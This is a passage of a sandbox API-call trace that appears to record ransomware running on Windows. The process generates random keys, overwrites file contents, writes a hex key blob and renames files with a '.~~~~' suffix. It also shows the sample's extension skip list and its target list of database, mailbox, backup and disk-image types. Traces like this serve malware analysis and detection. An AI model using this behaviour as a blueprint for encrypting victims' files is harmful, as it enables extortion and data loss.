	[0083.208] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.208] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0083.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x381948
	[0083.208] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20319845528) returned 1
	[0083.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b6e4070, dwHighDateTime=0x1d60e1e)) 
	[0083.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0083.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0083.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0083.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1fe8
	[0083.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1fe8 | out: hHeap=0x300000) returned 1
	[0083.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807760
	[0083.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807760 | out: hHeap=0x300000) returned 1
	[0083.209] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.209] GetLastError () returned 0x0
	[0083.209] GetLastError () returned 0x0
	[0083.209] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.210] GetLastError () returned 0x0
	[0083.210] GetLastError () returned 0x0
	[0083.211] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffdea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.211] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x216, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x216, lpOverlapped=0x0) returned 1
	[0083.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.211] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.211] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.212] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.212] CloseHandle (hObject=0x118) returned 1
	[0083.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.~~~~")) returned 1
	[0083.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0083.213] GetLastError () returned 0x0
	[0083.213] RtlWakeConditionVariable () returned 0x365f70
	[0083.213] GetCurrentThreadId () returned 0x9f4
	[0083.213] GetCurrentThreadId () returned 0x9f4
	[0083.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0083.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807a00 | out: hHeap=0x300000) returned 1
	[0083.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2020 | out: hHeap=0x300000) returned 1
	[0083.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807a00
	[0083.213] lstrlenW (lpString=".scr") returned 4
	[0083.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.214] lstrlenW (lpString=".cmd") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.214] lstrlenW (lpString=".dll") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.214] lstrlenW (lpString=".bat") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.214] lstrlenW (lpString=".cpl") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.214] lstrlenW (lpString=".sys") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.214] lstrlenW (lpString=".msc") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.214] lstrlenW (lpString=".com") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.214] lstrlenW (lpString=".lnk") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.214] lstrlenW (lpString=".msp") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.214] lstrlenW (lpString=".pif") returned 4
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.214] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.216] lstrlenW (lpString=".sqb") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.216] lstrlenW (lpString=".ost") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.216] lstrlenW (lpString=".txt") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.216] lstrlenW (lpString=".mdt") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.216] lstrlenW (lpString=".BDB") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.216] lstrlenW (lpString=".eql") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.216] lstrlenW (lpString=".DBF") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.216] lstrlenW (lpString=".EQL") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.216] lstrlenW (lpString=".FDB") returned 4
	[0083.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.217] lstrlenW (lpString=".EDB") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.217] lstrlenW (lpString=".DACPAC") returned 7
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.217] lstrlenW (lpString=".VHD") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.217] lstrlenW (lpString=".DBV") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.217] lstrlenW (lpString=".dacpac") returned 7
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.217] lstrlenW (lpString=".sdf") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.217] lstrlenW (lpString=".accdb") returned 6
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.217] lstrlenW (lpString=".DBX") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.217] lstrlenW (lpString=".MDT") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.217] lstrlenW (lpString=".SQB") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.217] lstrlenW (lpString=".vhd") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.217] lstrlenW (lpString=".bac") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.217] lstrlenW (lpString=".mdf") returned 4
	[0083.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.218] lstrlenW (lpString=".BAK") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.218] lstrlenW (lpString=".BAC") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.218] lstrlenW (lpString=".dbs") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.218] lstrlenW (lpString=".vhdx") returned 5
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.218] lstrlenW (lpString=".NDF") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.218] lstrlenW (lpString=".dat") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.218] lstrlenW (lpString=".DBS") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.218] lstrlenW (lpString=".CKP") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.218] lstrlenW (lpString=".edb") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.218] lstrlenW (lpString=".PST") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.218] lstrlenW (lpString=".dbf") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.218] lstrlenW (lpString=".SQL") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.218] lstrlenW (lpString=".pst") returned 4
	[0083.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.218] lstrlenW (lpString=".dbv") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.219] lstrlenW (lpString=".SDF") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.219] lstrlenW (lpString=".dtxs") returned 5
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.219] lstrlenW (lpString=".db3") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.219] lstrlenW (lpString=".OST") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.219] lstrlenW (lpString=".dbx") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.219] lstrlenW (lpString=".DB3") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.219] lstrlenW (lpString=".DAT") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.219] lstrlenW (lpString=".VHDX") returned 5
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.219] lstrlenW (lpString=".ndf") returned 4
	[0083.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.220] lstrlenW (lpString=".DB") returned 3
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.220] lstrlenW (lpString=".sql") returned 4
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.220] lstrlenW (lpString=".MYD") returned 4
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.220] lstrlenW (lpString=".DBT") returned 4
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.220] lstrlenW (lpString=".ACCDB") returned 6
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.220] lstrlenW (lpString=".fdb") returned 4
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.220] lstrlenW (lpString=".bak") returned 4
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.220] lstrlenW (lpString=".myd") returned 4
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.220] lstrlenW (lpString=".DTXS") returned 5
	[0083.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.221] lstrlenW (lpString=".ckp") returned 4
	[0083.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.221] lstrlenW (lpString=".dbt") returned 4
	[0083.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.221] lstrlenW (lpString=".db") returned 3
	[0083.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.221] lstrlenW (lpString=".TXT") returned 4
	[0083.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.221] lstrlenW (lpString=".MDF") returned 4
	[0083.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.221] lstrlenW (lpString=".bdb") returned 4
	[0083.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.221] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0083.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.221] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.222] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.222] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0083.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x381948
	[0083.222] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20321261819) returned 1
	[0083.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b70a1d0, dwHighDateTime=0x1d60e1e)) 
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2020
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2020 | out: hHeap=0x300000) returned 1
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807958
	[0083.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807958 | out: hHeap=0x300000) returned 1
	[0083.223] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.223] GetLastError () returned 0x0
	[0083.223] GetLastError () returned 0x0
	[0083.224] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.224] GetLastError () returned 0x0
	[0083.224] GetLastError () returned 0x0
	[0083.226] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff77b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.226] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x885, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x885, lpOverlapped=0x0) returned 1
	[0083.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.227] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.227] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
